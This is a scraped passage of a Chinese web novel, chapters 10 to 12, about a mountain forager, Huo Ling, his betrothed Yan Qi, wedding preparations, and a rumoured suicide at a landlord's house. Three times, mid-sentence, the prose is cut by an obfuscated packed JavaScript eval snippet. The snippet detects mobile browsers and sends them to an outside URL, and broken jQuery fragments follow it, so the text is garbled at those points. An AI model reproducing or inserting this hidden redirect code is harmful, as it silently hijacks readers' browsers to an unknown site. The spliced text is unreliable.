得知是去双井屯找木匠，杨庆生不急着走，干脆跳下车，抬肘往霍凌身上撞一下，挤眉弄眼地笑道：“难得遇见你下山一回，可得和我说实话，我听人说，你小子娶夫郎了？” 霍凌失笑，“你消息倒灵通，谁告诉你的？” “这你甭管。” 杨庆生看着比霍凌还高兴，“快说说，我那小嫂人如何？” “你改口倒快。” 霍凌乐道：“人自然是好的。” 他想了想，多说一句。 “性儿好，且擅灶，大个儿也亲近他，总之挺投缘。” 杨庆生听前面两样还兴致勃勃，听到最后只剩无语。 “我还当你有了夫郎好了毛病，怎还三句话不离你家大个儿，真应了你哥那句话，你干脆在山里和大个儿拜把子，别下来了。” “我早说说亲要寻个能跟我进山，不怕大个儿的人，你又不是头一天知。” 霍凌说罢，杨庆生敷衍地连连点头。 “是是是。” 换得霍凌捶在肩膀上的一拳头。 说好赶在霍凌进山前，晚上一起吃几口酒，杨庆生方换了件事讲。 “你去双井屯，最好直奔穆老爹处，别乱转悠，我来时路过，看见有镇上的捕快去了嘞，一共两个人，挎着大刀，端是骇人。” 霍凌眉峰一耸，“怎还去了捕快，双井屯出什么案子了不成？” 要知道现今镇上的捕快，辖管镇里事尚且忙不及，村屯里有个偷鸡摸狗的小事，大都由村长做主处置，能让捕快下乡来的，定不是小案。 杨庆生摇摇头，“这谁知道，总之你小心些。” 平头百姓最怕和衙门里的人扯上关系，尤其霍凌这等看着就不好惹的主儿。 “谢了，我早去早回。” 霍凌走到半路，还卸了腰间的匕首揣进怀里。 及至双井屯的地界，先看到村口的古井，旁边围了一圈栏杆。 这处古井出甜水，百年不枯，都言此地风水佳，因此双井屯是附近村屯里人最多的。 然而眼下确如杨庆生所言，村道上不见人，户户院门紧闭，生怕惹麻烦的模样。 他快步绕过几户到了穆家门前，抬手叩门，听得里面有人靠近门缝处问：“是谁在外头？” “我是下山村霍家的，来寻穆老爹打两样箱柜儿。” 穆老爹的夫郎知道霍家，也对霍凌有印象，从前来过，加上个子高模样俊，想忘也难。 遂替他开了门，神色警醒，让霍凌赶紧进院，低声道：“今天屯子里不太平呐。” “可是出了什么事？” 霍凌不动声色地问。 穆家夫郎撇了嘴，摆摆手。 “大户里的事，咱可不敢乱讲。” 10. 烙大饼 穆家老夫郎的话说得模棱两可，但整个双井屯还有哪家称得上是大户？ 无外乎是地主沈家。 事涉地主老爷，怕是丢个值钱的盖碗儿也劳动得起捕快，霍凌一下子没了兴趣，不欲多打听，只想早办完事早回村。 他跟着穆家夫郎一道，在后院搭起的木工棚下见着穆老爹，说明来意。 穆老爹乐呵道：“成亲好，成亲好，是该添置两样大件儿，走，去看看你带来的木头料。” 长林县多山，便也多林木，制家具来得比别处实惠，不少走商喜做这生意。 且有专门的“放排人”，凭大江水路将成千的木材运抵关内。 说回木材，当中最常见的属榆木和松木，后者价廉但质软，年份长了就不耐用，要想拿得出手，还得是榆木。 而新砍下的木头太湿，做不成料，需得放上少说一年才得用。 似穆老爹这样的木匠，都会在自家后院囤放好些木头，若是主顾不自带料子，就需用他的，再多给一份料子钱。 但更多人为了省银钱，亦会叫上几个相熟肯搭把手的青壮，去山上伐木，反正家家院子都够大，几根木头总还是放得下。 存了木料，儿孙娶亲、姑娘哥儿嫁人，都可拿来制物件，家里盖新屋，更是不能缺一根好梁木。 以及还有一桩，就是棺材木，许多人早早就备下了，只等岁数大了打成合心意的棺，过身后直接用。 穆老爹上前去，绕着霍凌带来的那棵木看了两圈，抬手敲了敲，“没毛病，可用，你们赶山客的眼睛毒，寻的都是一等一的好料，干得也透，打成箱柜儿不好裂的。” 霍凌颔首道：“只是不知今日定下，哪日才能取。” “十日后你来，保管就好了。” 穆老爹看准了料，唤他去前面择式样。 霍凌比划着，说要一只带柜樘的平角柜，再添一口能挂铜锁的大衣箱。 两样都放在卧房，前者能存些零散日用，后者能收得下被褥衣裳，寻常人家有这两件足矣。 以后东西多了，或是添了孩子，再置办就是。 穆老爹边听边在一块木板上用炭条画道道，估计只有他自己能看懂，画完把炭条往耳朵上一别。 “乡里乡亲，给你实在价，两样算一处，你给我八两半银，定钱二成。” 霍凌还待饶价。 “老爹，那半两银不能抹了去？” “你是自带了料，不然十两打不住嘞！想你也知，这样两件去镇上木作行得要上多少，人家还不似我好说话。” 不过卖家喊的价儿总有往下压的空当，霍凌费了半晌嘴皮子，到底又省了五钱银，不过转而便换了只新木盆儿，已是现成箍好的，倒了水不见漏，提着就能走。 山上有他自用的盆，但不好给颜祺用。 今日先买上，明日他背上山去，下回扛家具时也能省些力。 “有劳老爹，到日子我携着银钱再来取。” “成，路上慢些。” 穆老爹得了新生意，把霍凌送到门外道上，远见皂衣捕快从沈家那头走来，不过是另一条道，并不会经过穆家门前。 “这也没瞧着拿了什么人去镇上。” 穆老爹踮脚看了看，自嘟囔一句。 霍凌也奇怪，可谁又真敢上去问。 他见那捕快是要出村的样子，特地等了等，待人走了方离开。 —— 霍家屋顶，炊烟不断。 颜祺见霍凌来家，恰赶上第一张干烙的大饼出锅，他用刀切一个角下来，按着家里人头分成几份，先给凑到近前的霍凌递上。 “你尝尝，热乎的最好吃。” 霍凌道：“我还没洗手。” 颜祺动作一顿，善解人意道：“那你先去洗？” 霍凌哽住，因没得逞，只得自己厚着脸皮开口，“多麻烦，你举着，我咬一口就成。” 这不就是要人喂，颜祺看了看左右，见哥嫂和侄女都不在，抿着嘴往前送了送。 霍凌这回忍不住笑，张嘴咬掉一个尖，嚼了两下，口中含混道：“用了苞米面？这饼够厚实的，发得绵软，外面的硬壳子焦香。” 又看剩下的大半张，奇道：“外面还有花样呢。” 颜祺语气怀念，“以前跟我娘学的，顺手就用擀面杖压了，这样烙时上了色好看，还能更脆些。” “算来好久没做了，先烙一张试试，你们吃着好，我多多烙上几张，除了你带走的，家里也能吃两日。” 说罢让霍凌吃自己手里剩下的，霍凌也是不客气，连咬了两下，剩最后一块时才直接叼着走。 颜祺在干净抹布上蹭了下手，端着余下的去给霍峰一家子尝。 以前叶素萍也烙干饼让霍凌带上山，不过是那种圆圆的杂面饼，经得住放，就是吃前要在汤里使劲泡一泡，或是先喝口水润一润，干啃格外费牙口。 苞米面则都做成了窝头，扎实顶饱，有野菜的季节，再剁些野菜混进去，撒点盐吃起来有滋味。 颜祺烙的大饼她还真没做过，今日也跟在旁边学了两手。 其实道理都差不多，只是各人手法不一，做出来的吃食也便有着不同，称不上谁好谁坏。 大饼送了一圈，吃了的都说好。 颜祺有了信心，回到灶屋，预备拿葫芦瓢继续舀面。 霍凌帮他搬出面口袋，实打实地舀了不少出来。 “这些面，估计能做个七八张，你带五张走，然后再给你炒个茄子酱。再多不是不能带，只是恐放坏了。” 想来也就最后一回，下一次他就能跟着上山，日日都能吃到现成新鲜的。 面粉里倒上水，搅成面絮后揉成面团，盖上盖子放到一旁醒发。 颜祺转而将泡好的干茄条切作细细的丁，茄子酱要熬上一阵子，得早些做，不然占着锅耽误家里做饭。 锅热后，估摸着往锅里多加了些菜油，一是茄子吸油，而是油要多放些酱才不易坏。 看着多，但一想到未来十几日霍凌在山上只能拿这个下饭，摊到每顿饭上也不剩多少，就不觉浪费。 油汪汪的香气里，霍凌被叫去屋内，和哥嫂两个看日子。 霍峰一早也出门，去了村里李仙婆家，李仙婆今年都奔着七十去了，是下山村有名的老寿星，家里供着保家仙，能掐会算，外村常有人来找。 看日子是小事，又是同村的，没多久就得了结果。 “仙婆选了两个日子，让咱们家里商量着办，三月里好日子不多，宜嫁娶的只一个十八，一个廿六。” 叶素萍算了算道：“十八好似有些赶，今儿就初六了，不过也不是不行。” 她笑道：“老二你十五下山，中间这十几日，我和你大哥一概张罗好，你只管当你的新郎官儿，旁的啥也不用操心。” 霍峰也说，三月廿六的话，一下子拖得太长，能趁早就不赶晚。 “再过十来天天也暖了，届时祺哥儿养好身子随你上山，正是赶趟儿。” 霍凌亦觉得廿六太晚，都够他下山两回的，哥嫂的话正说到他心坎儿上。 “那就定十八，正巧穆老爹那处也赶得上，辛苦大哥和嫂子了。” 日子有了，一家人皆是喜气洋洋。 叶素萍是长嫂，家中无长辈，这些事尽归她操持，只是先前未曾办过，唯恐办砸了。 这不下午就拿着针线活计，去齐家找齐红梅串门子，打听当初齐家老二娶金氏时摆席面的章程，譬如请哪个灶人，请几个帮工，借多少桌椅碗碟。 霍家吃亏在亲戚少，从老太爷起到霍老爹都没有兄弟，娶的媳妇也是外村的，人过世了，多和那边淡了走动。 要是亲戚多，很多事不消发愁， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691360|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不必开口都有人抢着来干活。 一晃到了晚间，各家吃罢饭食，杨庆生拎着酒来同霍凌闲坐。 得知霍家已择了日子，笑吟吟道：“我今日回来，赶得正是时候，也省了家里打发人去镇上送信儿。” 霍凌给他添上酒。 “我也有日子没见弟妹和你家大俊，可一向都好？” “都好，昨晚上我和青曼还说起，商量商量给你和小嫂备什么礼，至于大俊，别提了，皮小子一个，也不知随了谁，不是招猫就是逗狗，成日追着他屁股后面揍三回。” 杨庆生说到烦恼处，端起酒碗和霍凌一碰，品咂了两口。 “这话说的，总不是随了弟妹，你难不成忘了自个儿小时多淘。” 杨庆生咧嘴乐，“你也不差，回头要是生个小哥儿就罢，若是小子，你等着他上房揭瓦。” 喝罢提了筷，桌上两碟下酒菜，都是颜祺张罗的，一碟子大葱、芫荽和绿辣子拌的老虎菜，一碟子五香煮花生，吃得杨庆生感慨道：“可见你的福气来了，天王老子都挡不住，祺哥儿多贤惠，说是擅灶也当真不假，这小菜拌得，是那个滋味儿。” 又问：“他能不能吃酒，要是能吃，一道进来吃些。” 关外这边女子哥儿能喝酒的多，其中不少海量，汉子都比不过。 “他吃着药呢，哪能吃酒，不单是他，我答应他也不能吃多了。” 霍凌面前这一碗酒，放在从前早就下去一多半，结果现下还有半碗多。 “哎呦，这就管起来了？” 霍凌端起碗和他碰一下，笑骂道：“就像弟妹不管你似的，吃你的去，有酒有菜都堵不住你这张嘴。” 两人喝了一个时辰，颜祺始终在东屋里，和叶素萍点着灯缝衣裳。 他缝白棉布裁的里衣，叶素萍则在剪鞋样，她方才描了颜祺的鞋样，说做一双予他，留待成亲那日穿。 妯娌之间互赠鞋脚本也常见，颜祺没多推拒，心里想着回头也给对方做一双。 还有上次霍凌拿回来的布头，能拼一拼给英子制个手绢儿，攒两朵小头花。 大个儿百无聊赖地趴在几人脚下，任由霍英东一下西一下地给它梳毛，耳朵时不时抖一抖，显然留意着西屋的声响。 等那边有了脚步声，大个儿猛地坐起来，家里人都和杨庆生相熟，见状一道出去送人。 霍家和杨家不算远，月光照得小路铺一层银霜，霍峰本意让霍凌去送送，担心杨庆生喝多了，后者摆手道：“哪里多了，一斤都没喝到，大峰哥你回去吧，我自己溜达着，正好散散酒气，省的我爹和小爹念叨。” 又跟叶素萍与颜祺作别，二人客气地同他点点头。 送走杨庆生，时辰不早，霍凌明日还要早起上山，一家人不多说话，洗洗去睡。 颜祺本想进屋收碟，发现已让霍凌送了出来。 “杨大哥吃着可还好？” “他夸你灶上手艺厉害，比镇上食肆里的小菜也不差什么，没看都吃得精光。” 两人就着水刷干净碗碟放进柜中，洗漱罢，人也有了困意。 颜祺揉了揉眼，又提霍凌检查了一遍明日要带上山的东西。 一罐子茄子酱，细封了罐口，挖一勺就能配饼佐粥，五张烙饼又大又厚，扎实得很，一张切成四块，以霍凌的饭量，一日就得吃下一张。 算着太少，还有大个儿在，晚食后又额外添了一锅不用发面就能做的窝头。 此外还有灯油和新买的木盆，为怕忘了，零散的东西都搁在了盆子里。 “一共没几样，总不能丢了，过来睡觉。” 霍凌抖开被子喊人过去，他们另一床被彻底不用，叠成方块搁去了炕尾。 颜祺乖乖坐在炕边脱了鞋，却听霍凌用有些犹豫的语调问道：“当初去双井屯沈家的那几人里面，可有和你相熟的？” 11. 暂分离 “认识，但算不得熟，当初跟着赵官媒出村的人里，除了明哥儿，其余都是在县城安济坊里遇见的。” 安济坊各县城都有，乃官府或当地富商出资营建，专管赈济孤老慈幼、贫民乞丐等。 颜祺先前得了两颗城中医馆郎中给的药丸子，也正是在安济坊中。 他见霍凌眉头深锁，不由问道：“怎的突然提起这事？” “你可记得白日里我从双井屯回来，提起那边去了两个捕快，听说是沈家出了案子。” 颜祺点头，霍凌继续道：“我当初赶着回来，没多打听，不过大杨倒是听到些风声，刚刚吃酒时同我说了说，似乎和新进沈宅的下仆有关。” 好事不出门，坏事传千里，尤其两个村相隔不远，多有走动，有心的过去找个熟人一打听就门儿清。 颜祺心里猛跳一下，“是什么案子，杨大哥可说了？” 即使不熟，也是知晓名姓，打过交道的关系，不是全然的陌生人，因霍凌神色凝重，连带颜祺也紧张起来。 “听说是人命案子，没了一个小哥儿，自己跳了井。” 颜祺脸色刹那间煞白，霍凌忙道：“不过也指不定是道听途说。” 面前人默然半晌，抬眼看他。 “当初一道来下山村的本有六个人，三个姑娘，三个小哥儿，除了我和明哥儿，剩下四人都去了沈家为仆，你要说姑娘，我还不一定知道是哪个，但要说是小哥儿，只能是那个人了。” 颜祺好半天回过神，很是唏嘘。 又同霍凌说起，原本明哥儿也被选中了，但因那哥儿从中作梗，没去成。 霍凌头一回听说这事，跟着后怕。 “你和明哥儿都是因祸得福，要是你没生病，那沈家必也会要了你去。” 那些个大户人家，挑仆从也不是谁都要的，头一条模样要周正，其次要脑瓜子伶俐，手脚利索，若是还能会些个手艺，譬如针线刺绣、灶上工夫，指不定还有机会在主子面前露脸。 “我只记得他姓田，是个掐尖要强的性子，也是因这个缘故，和我们在安济坊时吵过几嘴，教他记在心里，故意不想让明哥儿去沈家。” 要说为何吵，现今看来不过是鸡毛蒜皮的小事，根本称不上什么深仇大恨。 “我还想，以他的性儿去了大户，要么吃个大亏，要么出人头地。” 哪里想得到区区几天就丢了性命。 “他那样的性儿，怎会无缘无故的跳井?” 哪怕颜祺和田哥儿打的交道并不算多，乍听之下，也不太相信。 他咬了下唇道：“定是受了人欺，那沈家人多半不是个好的！” 霍凌思索道：“倒是没听说过沈家苛待下人……” 当然了，这等事就算真有，也不会轻易流出，教外村里的泥腿子们知晓。 “不过确实蹊跷，一般那等大户家里出了人命官司，哪有主动往外捅的，一个新买的下仆，就算真是寻不见了，去了何处又有谁会发现？就算真的被发现，与其说人没了，不如说人逃了。” 颜祺也觉奇怪，认定田哥儿恐非自尽。 可人已没了，现今怎么琢磨也是无用，终究只是叹了口气。 “只能盼他下辈子投个好人家。” “你是心善的。” 霍凌揉了揉他的眉心，“不说这些，睡觉了，看你这模样，我倒后悔夜里说与你听。” 灭了油灯，颜祺裹紧了被，怕夜里做噩梦，手指摸着小葫芦闭上眼。 霍凌明日就上山，一别数日，想想多是舍不得的情绪。 今晚原想着再想法子赚点甜头尝，却被这桩事给打乱了，小哥儿定是没心情。 遂作罢，老老实实睡了一夜。 —— 这趟上山日子短，更要多挤出时间来做事。 天还不亮，霍凌轻手轻脚地起了身。 大个儿还没完全睡醒，见霍凌起了，它兴奋地绕着腿边转，尤其见霍凌拿起了上山时采用的背篓，尾巴快要甩出残影。 霍凌怕它叫出动静，伸手捏了下它的嘴筒子，比了个“嘘”的手势，又指了指要带去山上的东西。 大个儿明白过来，听话得趴在行李旁守好。 霍凌拍拍它的脑袋，打算洗把脸，进屋给自己和狗摸点垫肚子的吃食。 意外的是颜祺也起了床，悄无声地走出来，倒把霍凌吓一跳。 “你起了也不喊我一声。” 怕吵醒东屋里的一家三口，颜祺用气音说话。 “喊你做什么，从前我也是自己赶早出门的。” 霍凌顺手摸了摸矮炉上的水罐，昨晚剩的水自是早就凉透了，他想凑合喝两口，被小哥儿轻轻推开手。 “生把火不费事，那水都冰凉了。” 说罢坐下来，摸出火石擦着了火，寻了根细柴，填一把干叶子进灶膛里烧。 “我给你煮几个鸡蛋带着，昨晚上大嫂都数出来了，你吃两个，再带两个上山，今天吃完就坏不了。” 霍凌听他小声念叨，熨帖极了。 “以前这时候，都没人和我这么说话。” 上了山更别提，近处只有呜呜叫的山风和呜呜叫的狗。 小哥儿轻抬唇角，“以后都有了。” 煮出来的四个鸡蛋，霍凌剥了两个，和颜祺一人一个分了，又吃了一大块热过的烙饼。 配饼的咸菜是昨天做晚食时，颜祺用油炒的芥菜疙瘩，比直接切来吃更入味，还经得住放。 “那我走了，你回屋去吧。” 霍凌检查好腰间的匕首，系紧绑腿，把背篓甩去了后背上。 另还有个鹿皮水囊，颜祺将里面也灌满了水，足够喝到上山到家。 大个儿见他迟迟不来，独自在大门和屋门之间跑来跑去。 “我送你到门口。” 颜祺紧了紧外面披的衣裳，驱着大个儿往外走，霍凌心道，自己来往山上山下好些年，还是头一回迈不动步。 等真到了院外，仍踟蹰不前，在小哥儿探询的目光下，霍凌俯下身，在他的眉心孕痣处轻轻亲了下。 哥儿生孕痣的地方不隐秘却敏感，颜祺分明轻轻一颤，脸颊“蹭”地一下红透。 这毕竟不是卧房炕上，而是家外的村路旁，即使这个时辰根本没人，也足够他紧张。 然而霍凌亲完却还没有走的意思，颜祺愣了愣，总算无师自通。 他红着脸踮起脚，也在汉子的脸颊旁印了印唇。 霍凌只觉一记温软转瞬即逝，他喉结微滚，恨不得当场把小哥儿扛走带上山。 …… 一别七日，山里乍看还是之前的模样，细看却能发现地上的错草拔高了不少。 这等杂生的野草，但凡能照到太阳便会疯长，现下只差一场大雨，待浇过一遍，一夜之间就能铺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691361|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绿一片山坡。 霍凌在几处地方都看见了鹿粪，再往高些走，又瞧见几个聚在一起的狍子窝。 白龙山上除了赶山客，也有不少猎户，像是走到野兽常出没的地方，就要小心着有没有陷阱和兽套。 不过一行有一行的规矩，猎户下了夹设了套，都会用刀在附近树上撕下一块树皮做记号。 走了一个多时辰，脚程过半，霍凌停在一处山溪旁，舀水搓了把脸，洗去热腾腾的汗气。 山中流水终年不上冻，周围的积雪化干净，仔细看能看见不少大小动物的足印。 大个儿也踩着石头去喝水，喝完后又跳进水里来回跑了两圈才罢休。 霍凌等它撒欢的时候也没闲着，抬头将附近的树上看了个遍，发觉其中有棵树上面生了一朵比手掌还大的白灵芝，他掂量了下高度，凭他的身高，离地丈远就能够得到，便不等去拿脚扎子，直接徒手往上爬了一段，探手摘了下来。 白龙山里的灵芝分好几种，最值钱的当属紫灵芝，其下是赤灵芝，这之外的各样灵芝虽叫这个名字，实际和大蘑菇没区别，有些还远不如榛蘑之类的鲜蘑好吃。 像手里这朵白灵芝，入药没什么用处，不过可以晒干存着，吃之前拿水泡开了炒肉。 想着颜祺肯定没吃过白灵芝炒肉，霍凌把它朝后背篓子里一扔，决定接下来几日遇见了就多攒些，拿下去做喜宴上的菜。 “汪！汪！” 大个儿浑身沾满了水，不知疲倦地在前面小跑，霍凌手拿一根粗木棍，没走几步就敲一下路过的树干，这样搞出来的动静加上大个儿的狗叫，足以让附近的野兽不敢靠近。 其实深山老林里，人怕野兽，野兽也怕人，除非运道差，不小心撞了个面对面，实际大多数时候都是彼此相安无事，各不相见地过活。 眼看水囊里的水喝了个干净，霍凌终于爬到了半山腰，得见自家的山中院落。 和山下常见的村屋一样是连排三间屋，自从这里只剩霍凌一个人，他睡东屋，西屋就给了大个儿，在里面蓄了乌拉草垫子，摆了饭盆和水盆。 山里林密风大，几日不扫院里地上已杂乱不堪，全是外处卷进来的短枝碎叶，屋里积灰更厚。 他转了一圈，大个儿也跟着仔细闻嗅，确定没有野兽来过的迹象，方才放心地松口气。 直接坐在门槛上歇了两刻钟，霍凌缓过劲，揉了揉有些发胀的腿，起来寻来扫帚打扫院子，末了把扫出来的东西拢成一堆装进口袋，正好拿进灶屋用来烧火。 火苗燃起，水汽蒸腾，热气一路顺着烟道通向火炕内部，徐徐烘干山间积攒的湿气。 坐在灶前的霍凌掰开手中恢复暄软的烙饼，夹一筷子茄子酱塞进去，狠狠咬了一口。 大个儿同样饿得不轻，围着霍凌踏起小碎步。 他掰了一块烙饼，加上茄子酱的汤汁给它拌了拌。 “我自己都不够吃，便宜你了。” 说完戳一下狗鼻子，“吃完这顿，自己出去抓兔子去，回来我给你烤了。” 像大个儿这体型的狗，一天的饭量比一个壮汉还要大，纯靠家里剩饭根本养不起，所以在山上养它反而更省事。 除去打野食，霍凌还扛上来了自己那份口粮里的苞米面，得了空就蒸点窝头，人和狗都能吃。 大个儿闻见香味哪里顾得上搭理霍凌，直接转过身埋头干饭，把盆子舔得咣咣直响。 12. 大扫除 杂物落地，激起阵阵尘土。 霍凌抬起袖子抹一把汗，弯腰又将脚底的几根烂木头抱起，大力朝屋外一丢。 上山第一天，他没急着进山赶山。 以前住久了不觉得，如今有了夫郎，要正经在山里过日子了，再看这院子确实脏得可以，连他自己都忍不下去，索性撸起袖子干活。 山上地方大，所以当初院子围得很是宽敞，他先收拾起两间杂屋，一间作柴房，里面和外面墙根下都堆满了柴，倒是还好，只需拿扫帚挑去房梁和角落的蛛网，扫扫灰就罢。 另一间就难了，平常懒得进来，有什么东西顺手往里一丢，收拾起来才觉头痛。 就说刚刚那几条糟木头，也不知当初为何没直接丢进炉子里烧了。 还有什么破了洞的蓑衣，叠在一起的烂柳筐，一节一节的麻绳，几块碎了的砖头…… 里面不少东西霍凌还有印象，大都是爹娘在时家里的日用了。 他边收拾边怀念，最后一身的灰，院里也多了两个杂物堆。 一边是留下还有用的，一边是扔掉也不觉可惜的，随后浅扫了扫干净空出来的泥地，打一盆满水进去泼上压一压尘。 大个儿不解主人在做什么，进进出出帮了好一阵倒忙，自己去了屋后山上玩耍，等霍凌收拾出个样子，它也叼着断了气的林鼠回来了。 “吐出来。” 霍凌刚洗完手，见狗嘴里露出个耗子尾巴，嫌弃地朝大个儿说话，又指了指地上。 大个儿听话得松了嘴，连着三只死林鼠掉了出来，每个都肥肥的，有巴掌大，因为被它含在嘴里，沾了口水后简直埋汰得没法看。 霍凌皱着鼻子，拎起林鼠尾巴到一旁给它洗干净剥了皮，削了树枝串了，丢进灶膛里烤。 大个儿哈着气，在旁边趴着等待，大尾巴呼啦啦地摇，看这模样就是没有多饿，定是已经在山里吃饱了生食，又捡了几个回来吃熟的。 要么说狗太聪明也不好，精得很，快赶上个会打酱油的小崽子了，吃饭还讲究个生熟。 等大个儿吃完了加餐，霍凌也啃完了手里的饼，打扫房子这事不能停，一停就不想干，因此他一鼓作气，下午举着鸡毛掸子把睡觉的东屋和西屋也拾掇出来。 炕上铺的草席也旧了，他摸了摸，盘算着接下来几日有空时做个新的替换上。 以前不耐烦做的家事，现在忙一天还有的是牛劲。 亏得大哥不在，要是在，定要为此打趣他好几日。 —— 深山之中，林木参天。 淡如烟的晨雾褪去，早起的霍凌看着焕然一新的小院，满意地摸了摸大个儿的狗头。 “走，咱爷俩今天上山。” 这次在山里的时间本就不多，他装好脚扎子，打算去先前没怎么走过的林子看看，多爬几棵树。 要下兽套的麻绳也准备好，趁早找地方安上，不说定能套到东西，但只要有，就能给席面省些个肉钱。 下套子的本事是他跟他爹霍老栓学的，而霍家赶山和捕猎的本事，最早能追溯到霍老太爷霍平原。 那可是白龙山上的传奇人物，至今说起霍平原，村里仍有老人能津津乐道与你讲半晌故事。 “你当那时候和现在一般太平？人要是在山下有活路，何必要上山和野兽争口食，往前数三辈儿，这地方鸟不拉屎，压根没有人管，只有关内活不下去的流民停下脚，扎了根，搭几间屋子垦荒糊口。” “可山那头的鞑子入了冬没粮了，就翻山来烧村抢粮，汉子抓去做壮丁，女子哥儿就地糟蹋了，好看的掳回去，或是直接杀！” 老人说到这里，往往要摇着头唏嘘许久，再嘬巴两口土旱烟。 “人给逼得没办法，只得躲进山里去，为了唬住那些鞑子，好让他们不敢轻易进山，是霍平原自认还有几分身手和胆气，对外宣称落草为寇，扯大旗做了山匪，说是山匪，实际只为了给自己和乡亲们寻个活路罢了。” 那时候躲在山里，无论男女老少都要习武，五六岁的小儿都敢提大刀。 只是山上能挖野菜种野果，野物遍地，更是不缺一口肉，唯独种不出粮食，以及人吃五谷杂粮，总有个头疼脑热的时候，药材也是缺的，需下山用山货换。 后来有几次，下山换粮换药的时候遇见不平事，霍老太爷带人提刀砍过几个仗势欺人的恶人脑袋，鞑子过境的时候，更是没少取人性命，凶名传出，愈发没人敢招惹。 又过几年，朝廷终于出了一员大将，带兵打跑了鞑子，然而后来数年里，仍时有小队的鞑子扰境，霍老太爷最后仍旧死于鞑子刀下，没能得个下山养老的善终。 幸而留下个儿子，没有绝了后。 不单霍家，现今长林县不少人的祖辈，皆是这般埋骨白山。 这也是为何长林县多年来地广人稀的缘由，实是早年里人死的多，生的少。 收回思绪，霍凌看向脚下的山地，搓了两下枯草落叶。 北地无尽的大雪早已将一切洗净，太爷年轻时的故事对于他们这辈人而言已经很久远，可回回在山里行走时，都会不可避免地想起来这些听过的故事。 他走走停停，观察着山地上野兔、榛鸡、狍鹿以及野猪等经过的痕迹。 当中小的猎物需下“跳套”，借助有韧劲的细树枝子，待兔子野鸡误入后树枝收紧弹起，能高悬在半空中，省的一些个吃肉的野物直接叼走。 大一些的猎物下“?子”，在相距一尺多的树桩子之间设绳套，不过这招在冬日大雪天里更好使，现在雪化了，那些个吃草的狍鹿也没那么傻。 现下的时节要捕狍子、野鹿或是黄羊，多在挖出来的陷阱里设套，因陷阱不能挖太深，摔断了腿的野物活不长，没法带下山，若没有绳套，野物求生时一跃而起，往往能就此逃生。 陷阱倒是有现成的，霍凌里里外外，爬上爬下，设了五处跳套，三处陷阱的绳套，这才拍拍手领着大个儿去采腰子草。 …… “嫂子，这晒的是什么？” 霍凌走了两日，颜祺也已做好了一身新里衣。 他将过了遍水的衣裳在院子中晾起，扯平后抱着盆往回走，见叶素萍提着一个口袋，把里面的东西往簸箕上倒。 他见状也放下盆，擦干净手上的水去帮忙，伸手一道铺平时，发现都是些干巴巴的细草，拿起看了看，也没看出个什么。 “这个是白龙山上树生的一种草药，叫腰子草，天一冷它也不枯，只是皱巴起来，老二凡是遇见就采上几把，这不我正好收拾出来一口袋，多半是被他忘了，赶紧拿出来晒晒，省的一直放在屋里，回头又找不着。” 这一口袋的腰子草看看占满一张簸箕，颜祺好奇道：“为何叫腰子草？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691362|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 叶素萍打量左右，见霍英那丫头不在，同颜祺小声道：“这东西啊，是味补药，多是汉子喝的。” 见颜祺好似还没听懂，叶素萍干脆直白道：“吃什么补什么，那你想，汉子补腰子，能为了什么？为了晚上嗷嗷有劲儿呗！” 话说到这份上，颜祺不可能不明白，闹了个大红脸。 叶素萍却不知他和老二究竟圆没圆房，这等事做哥嫂的总不好去问，见他脸红，只当他刚成亲，面皮还薄。 她挑下眉毛，“不过年轻汉子不咋喝这个，用不上。” 颜祺顿时觉得手里的草烫手，摸了摸耳朵仍不知该说点什么好，正在这时，院子的大门被人叩响。 他如蒙大赦，“我去开门。” 叶素萍目送他去，笑着摇摇头，把簸箕捧去一旁的木头架子上摆好，旁边还有一簸箕辣椒和菜干子。 这等干的东西，哪怕前一年已经晒透了，还是要时不时倒出来见见光，去去潮气，且能记得赶紧吃。 颜祺小跑两步去开门，路过晾起的衣裳，新制好的白色里衣滴着水，待看清门外人后惊喜道：“你怎来了？” “在家这两日闲些，我婆母和长岁都说让我来看看你，我这不就厚着脸皮来认门了。” 院外，肖明明腼腆一笑，他越过颜祺往霍家院里看一眼，有些紧张地悄悄问：“都有谁在家？” 颜祺拉过他的手，“就我和大嫂还有小侄女在家。” 一听还有别人，肖明明的步子不怎么敢往里迈，颜祺安慰道：“我嫂子极好的性儿，你跟我进来就是。” 而叶素萍在院里等了几息，还没等到人进来，往外走两步，方见着两个哥儿在门口说话，可把她愁坏了。 愁的是颜祺这哥儿太有分寸，都住了这好几日，好似依旧不敢正儿八经地把此处当家，没办法自在做事。 她主动上前招呼，又让颜祺赶紧领人进屋坐。 “家里无事，你俩好生说说话。” 待叶素萍进来放下一盘唠嗑吃的南瓜子，颜祺把人送出门又回转，总算见肖明明舒口气，在炕上松了松盘起的腿。 